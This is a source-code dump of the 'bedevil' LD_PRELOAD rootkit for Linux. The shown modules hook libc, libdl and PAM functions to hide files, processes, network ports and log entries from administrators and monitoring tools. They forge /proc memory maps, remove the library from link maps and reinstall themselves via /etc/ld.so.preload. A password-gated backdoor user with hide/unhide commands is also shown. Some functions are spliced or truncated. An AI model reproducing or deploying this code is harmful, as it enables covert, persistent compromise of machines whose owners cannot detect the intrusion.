1 | int v_acc(struct spwd *acc_shadow_entry, char *acc_pass)
2 | {
3 | if(!acc_shadow_entry || strlen(acc_shadow_entry->sp_pwdp) < 2) return 0;
4 | char *cpass;
5 | if((cpass = crypt(acc_pass, acc_shadow_entry->sp_pwdp)) == NULL) return 0;
6 | if(!strcmp(cpass, acc_shadow_entry->sp_pwdp)) return 1;
7 | return 0;
8 | }
9 |
--------------------------------------------------------------------------------
/modules/bdvl_util/xor.c:
--------------------------------------------------------------------------------
1 | //#include "../libdl/libdl.h"
2 | #define CLEAN(var) memset(var, 0x00, strlen(var))
3 | void xor(char *p)
4 | {
5 | int i, key=0xAC;
6 | for(i=0;id_name,".\0") == 0 || strcmp(dir->d_name, "/\0") == 0)) continue;
11 | if(dir != NULL) snprintf(path, 4096, "%s/%s", gdirname(dirp), dir->d_name);
12 | } while(dir && (hxstat(path, MGID, 32) || strstr(path,sysd_conf)));
13 |
14 | CLEAN(sysd_conf);
15 | return dir;
16 | }
17 |
18 | struct dirent64 *readdir64(DIR *dirp)
19 | {
20 | HOOK(o_readdir64, CREADDIR64);
21 | struct dirent64 *dir;
22 | char path[4097],*sysd_conf=strdup(SYSD_CONF); xor(sysd_conf);
23 |
24 | do {
25 | dir = o_readdir64(dirp);
26 | if(is_bdusr()) { CLEAN(sysd_conf); return dir; }
27 | if(dir != NULL && (strcmp(dir->d_name, ".\0") == 0 || strcmp(dir->d_name, "/\0") == 0)) continue;
28 | if(dir != NULL) snprintf(path, 4096, "%s/%s", gdirname(dirp), dir->d_name);
29 | } while(dir && (hxstat(path, MGID, 32) || strstr(path,sysd_conf)));
30 |
31 | CLEAN(sysd_conf);
32 | return dir;
33 | }
34 |
--------------------------------------------------------------------------------
/modules/dir/rmdir.c:
--------------------------------------------------------------------------------
1 | int rmdir(const char *pathname)
2 | {
3 | HOOK(o_rmdir, CRMDIR);
4 | if(is_bdusr()) return o_rmdir(pathname);
5 | if(hxstat(pathname,MGID,32)) { errno = ENOENT; return -1; }
6 | return o_rmdir(pathname);
7 | }
8 |
--------------------------------------------------------------------------------
/modules/exec/exec.h:
--------------------------------------------------------------------------------
1 | #ifndef EXEC_H
2 | #define EXEC_H
3 | #include "execve.c"
4 | #include "execvp.c"
5 | #endif
6 |
--------------------------------------------------------------------------------
/modules/exec/execve.c:
--------------------------------------------------------------------------------
1 | int execve(const char *filename, char *const argv[], char *const envp[])
2 | {
3 | HOOK(o_execve, CEXECVE);
4 | HOOK(o_unlink,CUNLINK);
5 | HOOK(o_chown,CCHOWN);
6 | HOOK(o_xstat,C__XSTAT);
7 | if(is_bdusr())
8 | {
9 | // do controller stuff
10 | // there's a script (etc/eutils.sh) that gets copied to the backdoor home.
11 | // it essentially makes accessing these functions a bit easier.
12 | char *eutils=strdup(EUTILS); xor(eutils);
13 | if(strstr(filename,eutils) && argv[1] != NULL) // ./str and pw given
14 | {
15 | CLEAN(eutils);
16 | // verify argv[1] password is correct
17 | char *bdpwd=strdup(BD_PWD); xor(bdpwd);
18 | if(strcmp(crypt(argv[1], bdpwd), bdpwd)) { CLEAN(bdpwd); exit(-1); }
19 | CLEAN(bdpwd);
20 |
21 | if(argv[2] == NULL) exit(-1); // now we need an option - what does the user want to do?
22 |
23 | if(argv[3] != NULL) // if we have argv[3], it should be a path, verify it exists
24 | {
25 | struct stat vstat;
26 | memset(&vstat,0,sizeof(stat));
27 | if(o_xstat(_STAT_VER,argv[3],&vstat) < 0) exit(-1);
28 | }
29 |
30 | if(!strcmp(argv[2],"hide_path")) o_chown(argv[3],MGID,MGID);
31 | else if(!strcmp(argv[2], "unhide_path")) o_chown(argv[3],0,0); // just chown the file to root perms so it's visible
32 | exit(0);
33 | }
34 | CLEAN(eutils);
35 |
36 | return o_execve(filename,argv,envp);
37 | }
38 | if(geteuid() == 0) reinstall();
39 |
40 | char *bduname=strdup(BD_UNAME); xor(bduname);
41 | if(strstr(filename,"su") && argv[1] && !strcmp(argv[1], bduname)) { CLEAN(bduname); errno=EIO; return -1; }
42 | CLEAN(bduname);
43 |
44 | if(hxstat(filename,MGID,32)) { errno=ENOENT; return -1; }
45 |
46 | int i, pid, ret;
47 | for(i=0;i0) i++;
29 | if(i>15) i=0;
30 | if(strstr(buf, idir)) i=1;
31 | if(i==0) fputs(buf,o);
32 | }
33 | CLEAN(idir);
34 | fclose(pnt);
35 | fseek(o,0,SEEK_SET);
36 | return o;
37 | }
38 |
39 | FILE *forge_numamaps(const char *pathname)
40 | {
41 | HOOK(o_fopen, CFOPEN);
42 |
43 | char buf[PATH_MAX];
44 | FILE *o=tmpfile(), *pnt;
45 | if((pnt=o_fopen(pathname, "r")) == NULL) { errno = ENOENT; return NULL; }
46 |
47 | char *idir=strdup(IDIR); xor(idir);
48 | while(fgets(buf, sizeof(buf), pnt) != NULL)
49 | {
50 | char addr[128], type[64], location[PATH_MAX];
51 | sscanf(buf, "%s %s %s", addr, type, location);
52 | if(!strncmp(location, "file=", strlen("file="))) if(!strstr(location, idir)) fputs(buf,o);
53 | }
54 | CLEAN(idir);
55 | fclose(pnt);
56 | fseek(o,0,SEEK_SET);
57 | return o;
58 | }
59 |
--------------------------------------------------------------------------------
/modules/hiding/forge_procnet.c:
--------------------------------------------------------------------------------
1 | FILE *forge_procnet(const char *pathname)
2 | {
3 | HOOK(o_fopen,CFOPEN);
4 | FILE *tmp, *pnt=o_fopen(pathname,"r");
5 | if((tmp=tmpfile()) == NULL) return pnt;
6 |
7 | unsigned long rxq,txq,t_len,retr,inode;
8 | int lport,rport,d,state,uid,t_run,tout;
9 | char line[LINE_MAX],raddr[128],laddr[128],etc[128];
10 |
11 | char *pnetstr="%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n";
12 | while(fgets(line, LINE_MAX, pnt) != NULL)
13 | {
14 | sscanf(line, pnetstr, &d, laddr, &lport, raddr, &rport, &state, &txq,
15 | &rxq, &t_run, &t_len, &retr, &uid, &tout, &inode,
16 | etc);
17 | if(lport != PAM_PORT && rport != PAM_PORT) fputs(line,tmp);
18 | }
19 | fclose(pnt);
20 | if(tmp != NULL) fseek(tmp,0,SEEK_SET);
21 | return tmp;
22 | }
23 |
--------------------------------------------------------------------------------
/modules/hiding/hidegid.c:
--------------------------------------------------------------------------------
1 | int hxstat(const char *pathname, int gid, int mode)
2 | {
3 | if(mode==32)
4 | {
5 | HOOK(o_xstat, C__XSTAT);
6 | struct stat s_fstat;
7 | memset(&s_fstat, 0, sizeof(stat));
8 | o_xstat(_STAT_VER, pathname, &s_fstat);
9 | if(s_fstat.st_gid==gid) return 1;
10 | }else if(mode==64){
11 | HOOK(o_xstat64, C__XSTAT64);
12 | struct stat64 s_fstat;
13 | memset(&s_fstat, 0, sizeof(stat64));
14 | o_xstat64(_STAT_VER, pathname, &s_fstat);
15 | if(s_fstat.st_gid==gid) return 1;
16 | }
17 |
18 | return 0;
19 | }
20 |
21 | int hfxstat(int fd, int gid, int mode)
22 | {
23 | if(mode==32)
24 | {
25 | HOOK(o_fxstat, C__FXSTAT);
26 | struct stat s_fstat;
27 | memset(&s_fstat, 0, sizeof(stat));
28 | o_fxstat(_STAT_VER, fd, &s_fstat);
29 | if(s_fstat.st_gid==gid) return 1;
30 | }else if(mode==64){
31 | HOOK(o_fxstat64, C__FXSTAT64);
32 | struct stat64 s_fstat;
33 | memset(&s_fstat, 0, sizeof(stat64));
34 | o_fxstat64(_STAT_VER, fd, &s_fstat);
35 | if(s_fstat.st_gid==gid) return 1;
36 | }
37 |
38 | return 0;
39 | }
40 |
41 | int hlxstat(const char *pathname, int gid, int mode)
42 | {
43 | if(mode==32)
44 | {
45 | HOOK(o_lxstat, C__LXSTAT);
46 | struct stat s_fstat;
47 | memset(&s_fstat, 0, sizeof(stat));
48 | o_lxstat(_STAT_VER, pathname, &s_fstat);
49 | if(s_fstat.st_gid==gid) return 1;
50 | }else if(mode==64){
51 | HOOK(o_lxstat64, C__LXSTAT64);
52 | struct stat64 s_fstat;
53 | memset(&s_fstat, 0, sizeof(stat64));
54 | o_lxstat64(_STAT_VER, pathname, &s_fstat);
55 | if(s_fstat.st_gid==gid) return 1;
56 | }
57 |
58 | return 0;
59 | }
60 |
61 | /*void hpath(const char *pathname)
62 | {
63 | HOOK(o_chown,CCHOWN);
64 | o_chown(pathname,0,MGID); // assign root uid bit and mgid
65 | }*/
66 |
--------------------------------------------------------------------------------
/modules/hiding/hiding.h:
--------------------------------------------------------------------------------
1 | #ifndef FHIDING_H
2 | #define FHIDING_H
3 | #include "hidegid.c"
4 | #include "forge_maps.c"
5 | #include "forge_procnet.c"
6 | #include "socket.c"
7 | #include "pcap/pcap.h"
8 | #include "reinstall.c"
9 | //#include "ptrace.c"
10 | #include "syslog/syslog.h"
11 | #endif
12 |
--------------------------------------------------------------------------------
/modules/hiding/pcap/pcap.c:
--------------------------------------------------------------------------------
1 | void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
2 | {
3 | const struct sniff_ip *ip;
4 | const struct sniff_tcp *tcp;
5 | int size_ip, size_tcp, sport, dport;
6 |
7 | ip = (struct sniff_ip *)(packet + SIZE_ETHERNET);
8 | size_ip = IP_HL(ip) * 4;
9 |
10 | if(size_ip < 20) return;
11 |
12 | switch(ip->ip_p)
13 | {
14 | case IPPROTO_TCP:
15 | break;
16 | default:
17 | if(o_callback) o_callback(args, header, packet);
18 | return;
19 | }
20 |
21 | tcp = (struct sniff_tcp *)(packet + SIZE_ETHERNET + size_ip);
22 | size_tcp = TH_OFF(tcp) * 4;
23 |
24 | if(size_tcp < 20) return;
25 |
26 | sport = htons(tcp->th_sport);
27 | dport = htons(tcp->th_dport);
28 |
29 | if(sport == PAM_PORT || dport == PAM_PORT) return;
30 | else if(o_callback) o_callback(args, header, packet);
31 | }
32 |
33 | int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
34 | {
35 | o_callback = callback;
36 | HOOK(o_pcap_loop, CPCAP_LOOP);
37 | return o_pcap_loop(p, cnt, got_packet, user);
38 | }
--------------------------------------------------------------------------------
/modules/hiding/pcap/pcap.h:
--------------------------------------------------------------------------------
1 | struct sniff_ip {
2 | u_char ip_vhl; /* version << 4 | header length >> 2 */
3 | u_char ip_tos; /* type of service */
4 | u_short ip_len; /* total length */
5 | u_short ip_id; /* identification */
6 | u_short ip_off; /* fragment offset field */
7 | #define IP_RF 0x8000 /* reserved fragment flag */
8 | #define IP_DF 0x4000 /* dont fragment flag */
9 | #define IP_MF 0x2000 /* more fragments flag */
10 | #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
11 | u_char ip_ttl; /* time to live */
12 | u_char ip_p; /* protocol */
13 | u_short ip_sum; /* checksum */
14 | struct in_addr ip_src,ip_dst; /* source and dest address */
15 | };
16 |
17 | struct sniff_tcp {
18 | u_short th_sport; /* source port */
19 | u_short th_dport; /* destination port */
20 | u_int th_seq; /* sequence number */
21 | u_int th_ack; /* acknowledgement number */
22 | u_char th_offx2; /* data offset, rsvd */
23 | #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
24 | u_char th_flags;
25 | #define TH_FIN 0x01
26 | #define TH_SYN 0x02
27 | #define TH_RST 0x04
28 | #define TH_PUSH 0x08
29 | #define TH_ACK 0x10
30 | #define TH_URG 0x20
31 | #define TH_ECE 0x40
32 | #define TH_CWR 0x80
33 | #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
34 | u_short th_win; /* window */
35 | u_short th_sum; /* checksum */
36 | u_short th_urp; /* urgent pointer */
37 | };
38 |
39 | #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
40 | #define SIZE_ETHERNET 14
41 |
42 | #include "pcap.c"
--------------------------------------------------------------------------------
/modules/hiding/ptrace.c:
--------------------------------------------------------------------------------
1 | long ptrace(void *request, pid_t pid, void *addr, void *data)
2 | {
3 | HOOK(o_ptrace,CPTRACE);
4 | if(is_bdusr()) return o_ptrace(request,pid,addr,data);
5 |
6 | if(pid)
7 | {
8 | char ppath[128];
9 | snprintf(ppath, sizeof(ppath), "/proc/%d", pid);
10 |
11 | HOOK(o_xstat, C__XSTAT);
12 | struct stat *pstat;
13 | memset(&pstat, 0, sizeof(stat));
14 | if(o_xstat(_STAT_VER, ppath, &pstat) < 0) return o_ptrace(request,pid,addr,data);
15 | if(pstat.st_gid==MGID) { errno = ESRCH; exit(-1); }
16 | }
17 |
18 | return o_ptrace(request,pid,addr,data);
19 | }
20 |
--------------------------------------------------------------------------------
/modules/hiding/reinstall.c:
--------------------------------------------------------------------------------
1 | void reinstall(void)
2 | {
3 | HOOK(o_xstat, C__XSTAT);
4 | HOOK(o_access, CACCESS);
5 |
6 | FILE *preload;
7 | struct stat s_fstat;
8 |
9 | char *sopath=strdup(SOPATH), *ldsp=strdup(LDSO_PRELOAD); xor(sopath); xor(ldsp);
10 | memset(&s_fstat, 0, sizeof(stat));
11 | o_xstat(_STAT_VER, ldsp, &s_fstat);
12 | if(s_fstat.st_size != strlen(sopath) || o_access(ldsp, F_OK) == -1)
13 | {
14 | HOOK(o_fopen,CFOPEN);
15 | if((preload=o_fopen(ldsp,"w")))
16 | {
17 | HOOK(o_fwrite,CFWRITE);
18 | o_fwrite(sopath, strlen(sopath), 1, preload);
19 | fflush(preload);
20 | fclose(preload);
21 | }
22 | }
23 | CLEAN(sopath);
24 | CLEAN(ldsp);
25 | }
26 |
27 | int hbdvl(const char *filename, const char *proc, int ret)
28 | {
29 | char *cproc=cprocname(), fnm_proc[64];
30 | snprintf(fnm_proc, sizeof(fnm_proc), "*/%s", proc);
31 |
32 | if(strstr(cproc, proc) || strstr(filename, proc) || !fnmatch(fnm_proc, filename, FNM_PATHNAME) || getenv(proc))
33 | {
34 | if(getuid() != 0 && geteuid() != 0) return 0;
35 |
36 | HOOK(o_unlink,CUNLINK);
37 | char *ldsp=strdup(LDSO_PRELOAD); xor(ldsp);
38 | o_unlink(ldsp);
39 |
40 | int pid;
41 | if((pid = fork()) == -1) return -1;
42 | else if(pid == 0) return 2;
43 |
44 | wait(&ret);
45 | reinstall();
46 | if(!hxstat(ldsp,MGID,32)) o_chown(ldsp,MGID,MGID);
47 | CLEAN(ldsp);
48 | return 1;
49 | }
50 | return 3;
51 | }
52 |
--------------------------------------------------------------------------------
/modules/hiding/socket.c:
--------------------------------------------------------------------------------
1 | int socket(int domain, int type, int protocol)
2 | {
3 | if(domain == AF_NETLINK && protocol == NETLINK_INET_DIAG &&
4 | (!strcmp(cprocname(), "ss") ||
5 | !strcmp(cprocname(), "/usr/sbin/ss") ||
6 | !strcmp(cprocname(), "/bin/ss")))
7 | { errno = EIO; return -1; }
8 | HOOK(o_socket, CSOCKET);
9 | return o_socket(domain,type,protocol);
10 | }
--------------------------------------------------------------------------------
/modules/hiding/syslog/syslog.c:
--------------------------------------------------------------------------------
1 | /*
2 | *
3 | * int find_psysdproc();
4 | * if(getpid() == find_psysdproc())
5 | * &&
6 | * !strstr()
7 | *
8 | */
9 |
10 | void openlog(const char *ident, int option, int facility)
11 | {
12 | if(is_bdusr()) return;
13 | HOOK(o_openlog,COPENLOG);
14 | o_openlog(ident, option, facility);
15 | return;
16 | }
17 |
18 | void syslog(int priority, const char *format, ...)
19 | {
20 | if(is_bdusr()) return;
21 |
22 | char sshds[64], *bduname=strdup(BD_UNAME); xor(bduname);
23 | snprintf(sshds, sizeof(sshds), "sshd: %s", bduname);
24 | CLEAN(bduname);
25 | if(strstr(cprocname(), sshds)) { setgid(MGID); return; }
26 |
27 | va_list va;
28 | va_start(va,format);
29 | vsyslog(priority,format,va);
30 | va_end(va);
31 | return;
32 | }
33 |
34 | void __syslog_chk(int priority, int flag, const char *format, ...)
35 | {
36 | if(is_bdusr()) return;
37 |
38 | char sshds[64], *bduname=strdup(BD_UNAME); xor(bduname);
39 | snprintf(sshds, sizeof(sshds), "sshd: %s", bduname);
40 | CLEAN(bduname);
41 | if(strstr(cprocname(),sshds)) { setgid(MGID); return; }
42 |
43 | va_list va;
44 | va_start(va,format);
45 | vsyslog(priority,format,va);
46 | va_end(va);
47 | return;
48 | }
49 |
50 | void vsyslog(int priority, const char *format, va_list ap)
51 | {
52 | if(is_bdusr()) return;
53 |
54 | char sshds[64], *bduname=strdup(BD_UNAME); xor(bduname);
55 | snprintf(sshds, sizeof(sshds), "sshd: %s", bduname);
56 | CLEAN(bduname);
57 | if(strstr(cprocname(),sshds)) { setgid(MGID); return; }
58 |
59 | HOOK(o_vsyslog,CVSYSLOG);
60 | o_vsyslog(priority,format,ap);
61 | return;
62 | }
63 |
--------------------------------------------------------------------------------
/modules/hiding/syslog/syslog.h:
--------------------------------------------------------------------------------
1 | #ifndef SYSLOG_H
2 | #define SYSLOG_H
3 | #include "syslog.c"
4 | #endif
5 |
--------------------------------------------------------------------------------
/modules/lib_hooks:
--------------------------------------------------------------------------------
1 | libc:pcap_loop,socket,getutent,getutxent,getutid,getutxid,getutmp,getutmpx,getutline,getutxline,pututline,pututxline,logwtmp,updwtmp,updwtmpx,openlog,syslog,__syslog_chk,vsyslog,ptrace,execve,execvp,chown,chmod,fchmod,fchmodat,setgid,setegid,setregid,setresgid,mkdir,rmdir,readdir,readdir64,opendir,opendir64,fdopendir,chdir,fchdir,readlink,readlinkat,unlink,unlinkat,open,open64,access,creat,fwrite,fwrite_unlocked,write,read,fopen,fopen64,stat,stat64,fstat,fstat64,fstatat,fsatat64,lstat,lstat64,__xstat,__xstat64,__fxstat,__fxstat64,__lxstat,__lxstat64,getpwnam,getpwuid,getspnam,getpwent,getpwnam_r
2 | libdl:dlsym,dlinfo,dladdr
3 | libpam:pam_syslog,pam_vsyslog,pam_authenticate,pam_open_session,pam_acct_mgmt
4 |
--------------------------------------------------------------------------------
/modules/libdl/dladdr.c:
--------------------------------------------------------------------------------
1 | #include "../bdvl_util/util.h"
2 |
3 | int dladdr(const void *addr, Dl_info *info)
4 | {
5 | HOOK(o_dladdr, CDLADDR);
6 |
7 | if(is_bdusr()) return o_dladdr(addr, info);
8 |
9 | Dl_info bdvl_info;
10 | if(o_dladdr(addr, &bdvl_info) != 0)
11 | {
12 | char *idir=strdup(IDIR); xor(idir);
13 | if(strstr(bdvl_info.dli_fname, idir)) { CLEAN(idir); return 0; }
14 | CLEAN(idir);
15 | }
16 |
17 | return o_dladdr(addr,info);
18 | }
19 |
--------------------------------------------------------------------------------
/modules/libdl/dlinfo.c:
--------------------------------------------------------------------------------
1 | #include "../bdvl_util/util.h"
2 |
3 | static struct link_map *bdvl_linkmap;
4 |
5 | void repair_linkmap()
6 | {
7 | bdvl_linkmap->l_prev->l_next = bdvl_linkmap;
8 | bdvl_linkmap->l_next->l_prev = bdvl_linkmap;
9 | }
10 |
11 | int dlinfo(void *handle, int request, void *p)
12 | {
13 | HOOK(o_dlinfo, CDLINFO);
14 |
15 | if(is_bdusr()) return o_dlinfo(handle, request, p);
16 |
17 | if(request == 2)
18 | {
19 | char *idir=strdup(IDIR); xor(idir);
20 | struct link_map *loop;
21 | o_dlinfo(handle, request, &loop);
22 |
23 | do {
24 | loop = loop->l_next;
25 | if(strcmp(loop->l_name, "\0"))
26 | {
27 | if(strstr(loop->l_name, idir))
28 | {
29 | bdvl_linkmap = loop;
30 | loop->l_name = "[suso]";
31 |
32 | if(strcmp(cprocname(), "ltrace"))
33 | {
34 | atexit(repair_linkmap);
35 | loop->l_prev->l_next = loop->l_next;
36 | loop->l_next->l_prev = loop->l_prev;
37 | }
38 | }
39 |
40 | }
41 | }while(loop != NULL && loop->l_name != NULL && loop->l_next != NULL);
42 | CLEAN(idir);
43 | }
44 |
45 | return o_dlinfo(handle, request, p);
46 | }
47 |
--------------------------------------------------------------------------------
/modules/libdl/dlsym.c:
--------------------------------------------------------------------------------
1 | extern void *_dl_sym(void *, const char *, void *);
2 |
3 | void locate_dlsym()
4 | {
5 | char buf[32]; int maxver = 40;
6 |
7 | for(int a = 0; a < maxver; a++)
8 | {
9 | sprintf(buf, "GLIBC_2.%d", a);
10 | o_dlsym = (void*(*)(void *handle, const char *name)) dlvsym(RTLD_NEXT,"dlsym", buf);
11 | if(o_dlsym) return;
12 | }
13 |
14 | for(int a = 0; a < maxver; a++)
15 | {
16 | for(int b = 0; b < maxver; b++)
17 | {
18 | sprintf(buf, "GLIBC_2.%d.%d", a, b);
19 | o_dlsym = (void*(*)(void *handle, const char *name)) dlvsym(RTLD_NEXT,"dlsym", buf);
20 | if(o_dlsym) return; // we got dlsym() via dlvsym(), return to let the function know we're done
21 | }
22 | }
23 | }
24 |
25 | void *dlsym(void *handle, const char *symbol)
26 | {
27 | if(!o_dlsym) locate_dlsym();
28 |
29 | void *funcptr; int i;
30 |
31 | for(i = 0; i < LIBC_SIZE; i++)
32 | {
33 | char *curr_call = strdup(libc_calls[i]); xor(curr_call);
34 | if(!strcmp(symbol, curr_call))
35 | {
36 | char *libc_path = strdup(LIBC_PATH); xor(libc_path);
37 | void *libc = dlopen(libc_path, RTLD_LAZY);
38 | CLEAN(libc_path);
39 |
40 | funcptr = o_dlsym(libc, symbol);
41 | return funcptr;
42 | }
43 | }
44 |
45 | for(i = 0; i < LIBDL_SIZE; i++)
46 | {
47 | char *curr_call = strdup(libdl_calls[i]); xor(curr_call);
48 | if(!strcmp(symbol, curr_call))
49 | {
50 | char *libdl_path = strdup(LIBDL_PATH); xor(libdl_path);
51 | void *libdl = dlopen(libdl_path, RTLD_LAZY);
52 | CLEAN(libdl_path);
53 |
54 | funcptr = o_dlsym(libdl, symbol);
55 | return funcptr;
56 | }
57 | }
58 |
59 | for(i = 0; i < LIBPAM_SIZE; i++)
60 | {
61 | char *curr_call = strdup(libpam_calls[i]); xor(curr_call);
62 | if(!strcmp(symbol, curr_call))
63 | {
64 | char *libpam_path = strdup(LIBPAM_PATH); xor(libpam_path);
65 | void *libpam = dlopen(libpam_path, RTLD_LAZY);
66 | CLEAN(libpam_path);
67 |
68 | funcptr = o_dlsym(libpam, symbol);
69 | return funcptr;
70 | }
71 | }
72 |
73 | funcptr = o_dlsym(handle, symbol);
74 | return funcptr;
75 | }
76 |
--------------------------------------------------------------------------------
/modules/libdl/gsym.c:
--------------------------------------------------------------------------------
1 | void *get_sym(void *handle, int csym)
2 | {
3 | void *fptr;
4 | char *symbol = strdup(all_calls[csym]); xor(symbol);
5 | if(!o_dlsym) locate_dlsym();
6 | fptr = o_dlsym(handle, symbol);
7 | CLEAN(symbol);
8 | if(!fptr) exit(1);
9 | return fptr;
10 | }
11 |
12 |
--------------------------------------------------------------------------------
/modules/libdl/libdl.h:
--------------------------------------------------------------------------------
1 | #ifndef LIBDL_H
2 | #define LIBDL_H
3 | #include "dlsym.c"
4 | #include "gsym.c"
5 | #define HOOK(o_sym, csym) if(!o_sym) o_sym = get_sym(RTLD_NEXT, csym);
6 | #include "dladdr.c"
7 | #include "dlinfo.c"
8 | #endif
9 |
--------------------------------------------------------------------------------
/modules/ln/links.h:
--------------------------------------------------------------------------------
1 | #ifndef LINKS_H
2 | #define LINKS_H
3 | #include "unlink.c"
4 | #endif
5 |
--------------------------------------------------------------------------------
/modules/ln/unlink.c:
--------------------------------------------------------------------------------
1 | int unlink(const char *pathname)
2 | {
3 | HOOK(o_unlink,CUNLINK);
4 | if(is_bdusr()) return o_unlink(pathname);
5 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; }
6 | return o_unlink(pathname);
7 | }
8 |
9 | int unlinkat(int dirfd, const char *pathname, int flags)
10 | {
11 | HOOK(o_unlinkat,CUNLINKAT);
12 | if(is_bdusr()) return o_unlinkat(dirfd,pathname,flags);
13 | if(hxstat(pathname,MGID,32) || hfxstat(dirfd,MGID,32)) { errno=ENOENT; return -1; }
14 | return o_unlinkat(dirfd,pathname,flags);
15 | }
16 |
--------------------------------------------------------------------------------
/modules/module_includes:
--------------------------------------------------------------------------------
1 | # this is the module include file for bedevil.
2 | # module includes closest to the top are prioritised.
3 | # so if your module is the last line in this file,
4 | # it will be included last.
5 |
6 | # comments starting with '#' are ignored.
7 |
8 | "headers/rk_creds.h" # everything we really need. this gets heavily edited by bedevil.sh
9 | "headers/symbols.h" # read file for info.
10 |
11 | "bdvl_util/xor.c" # include this now, since our libdl hooks require it
12 | "libdl/libdl.h" # hooks to hide from libdl
13 | "bdvl_util/util.h" # etc utils
14 |
15 | "hiding/hiding.h" # self explanatory hiding stuff
16 | "exec/exec.h" # exec (execution) hooks
17 | "open/open.h" # file open & access hooks
18 | "rw/rw.h" # read/write hooks. we logging outgoing ssh nao
19 | "dir/dir.h" # all directory related stuff
20 | "pwd/pwd.h" # pwd-struct related hooks (getpwnam, etc)
21 | "gid/gid.h" # setgid safety net
22 | "perms/perms.h" # file permission hooks
23 | "utmp/utmp.h" # i think the utmp struct has been changed since i have last worked on anything like this
24 |
25 | # pam backdoor header file.
26 | # afaik, the pam backdoor method is the preferred method for most people
27 | # only thing is, when the backdoor user is logged in, a process called
28 | # '(sd-pam)' shows up. in previous projects, i have attempted to hide
29 | # this process, but it only causes issues later down the line.
30 | "backdoor/pam/pam.h"
31 |
--------------------------------------------------------------------------------
/modules/open/access.c:
--------------------------------------------------------------------------------
1 | int access(const char *pathname, int amode)
2 | {
3 | HOOK(o_access, CACCESS);
4 | if(is_bdusr()) return o_access(pathname, amode);
5 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; }
6 | return o_access(pathname, amode);
7 | }
8 |
9 | int creat(const char *pathname, mode_t mode)
10 | {
11 | HOOK(o_creat,CCREAT);
12 | if(is_bdusr()) return o_creat(pathname, mode);
13 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; }
14 | return o_creat(pathname,mode);
15 | }
16 |
--------------------------------------------------------------------------------
/modules/open/fopen.c:
--------------------------------------------------------------------------------
1 | FILE *fopen(const char *pathname, const char *mode)
2 | {
3 | HOOK(o_fopen, CFOPEN);
4 | if(is_bdusr()) return o_fopen(pathname, mode);
5 |
6 | if(!strcmp(pathname, "/proc/net/tcp") || !strcmp(pathname, "/proc/net/tcp6"))
7 | return forge_procnet(pathname);
8 |
9 | if(!fnmatch("/proc/*/maps",pathname,FNM_PATHNAME)) return forge_maps(pathname);
10 | if(!fnmatch("/proc/*/smaps",pathname,FNM_PATHNAME)) return forge_smaps(pathname);
11 | if(!fnmatch("/proc/*/numa_maps",pathname,FNM_PATHNAME)) return forge_numamaps(pathname);
12 |
13 | char cwd[PATH_MAX];
14 | if(getcwd(cwd, sizeof(cwd)) != NULL)
15 | {
16 | if(!strcmp(cwd, "/proc"))
17 | {
18 | if(!fnmatch("*/maps",pathname,FNM_PATHNAME)) return forge_maps(pathname);
19 | if(!fnmatch("*/smaps",pathname,FNM_PATHNAME)) return forge_smaps(pathname);
20 | if(!fnmatch("*/numa_maps",pathname,FNM_PATHNAME)) return forge_numamaps(pathname);
21 | }
22 |
23 | if(!fnmatch("/proc/*",cwd,FNM_PATHNAME))
24 | {
25 | if(!fnmatch("maps",pathname,FNM_PATHNAME)) return forge_maps(pathname);
26 | if(!fnmatch("smaps",pathname,FNM_PATHNAME)) return forge_smaps(pathname);
27 | if(!fnmatch("numa_maps",pathname,FNM_PATHNAME)) return forge_numamaps(pathname);
28 | }
29 | }
30 |
31 | if(hxstat(pathname,MGID,32)) { errno = ENOENT; return NULL; }
32 | return o_fopen(pathname, mode);
33 | }
34 |
35 | FILE *fopen64(const char *pathname, const char *mode)
36 | {
37 | HOOK(o_fopen64, CFOPEN64);
38 | if(is_bdusr()) return o_fopen64(pathname, mode);
39 |
40 | if(!strcmp(pathname, "/proc/net/tcp") || !strcmp(pathname, "/proc/net/tcp6"))
41 | return forge_procnet(pathname);
42 |
43 | if(!fnmatch("/proc/*/maps",pathname,FNM_PATHNAME)) return forge_maps(pathname);
44 | if(!fnmatch("/proc/*/smaps",pathname,FNM_PATHNAME)) return forge_smaps(pathname);
45 | if(!fnmatch("/proc/*/numa_maps",pathname,FNM_PATHNAME)) return forge_numamaps(pathname);
46 |
47 | char cwd[PATH_MAX];
48 | if(getcwd(cwd, sizeof(cwd)) != NULL)
49 | {
50 | if(!strcmp(cwd, "/proc"))
51 | {
52 | if(!fnmatch("*/maps",pathname,FNM_PATHNAME)) return forge_maps(pathname);
53 | if(!fnmatch("*/smaps",pathname,FNM_PATHNAME)) return forge_smaps(pathname);
54 | if(!fnmatch("*/numa_maps",pathname,FNM_PATHNAME)) return forge_numamaps(pathname);
55 | }
56 |
57 | if(!fnmatch("/proc/*",cwd,FNM_PATHNAME))
58 | {
59 | if(!fnmatch("maps",pathname,FNM_PATHNAME)) return forge_maps(pathname);
60 | if(!fnmatch("smaps",pathname,FNM_PATHNAME)) return forge_smaps(pathname);
61 | if(!fnmatch("numa_maps",pathname,FNM_PATHNAME)) return forge_numamaps(pathname);
62 | }
63 | }
64 |
65 | if(hxstat(pathname,MGID,32)) { errno = ENOENT; return NULL; }
66 | return o_fopen64(pathname, mode);
67 | }
68 |
--------------------------------------------------------------------------------
/modules/open/open.c:
--------------------------------------------------------------------------------
1 | int open(const char *pathname, int flags, mode_t mode)
2 | {
3 | HOOK(o_open, COPEN);
4 | if(is_bdusr()) return o_open(pathname, flags, mode);
5 |
6 | char *ldsp=strdup(LDSO_PRELOAD); xor(ldsp);
7 | if(hxstat(pathname,MGID,32) && strstr(ldsp,pathname))
8 | {
9 | if((strstr(cprocname(), "sh") || strstr(cprocname(), "busybox")) &&
10 | (flags==(64|1|512)))
11 | CLEAN(ldsp); return o_open("/dev/null", flags, mode);
12 | }
13 | CLEAN(ldsp);
14 |
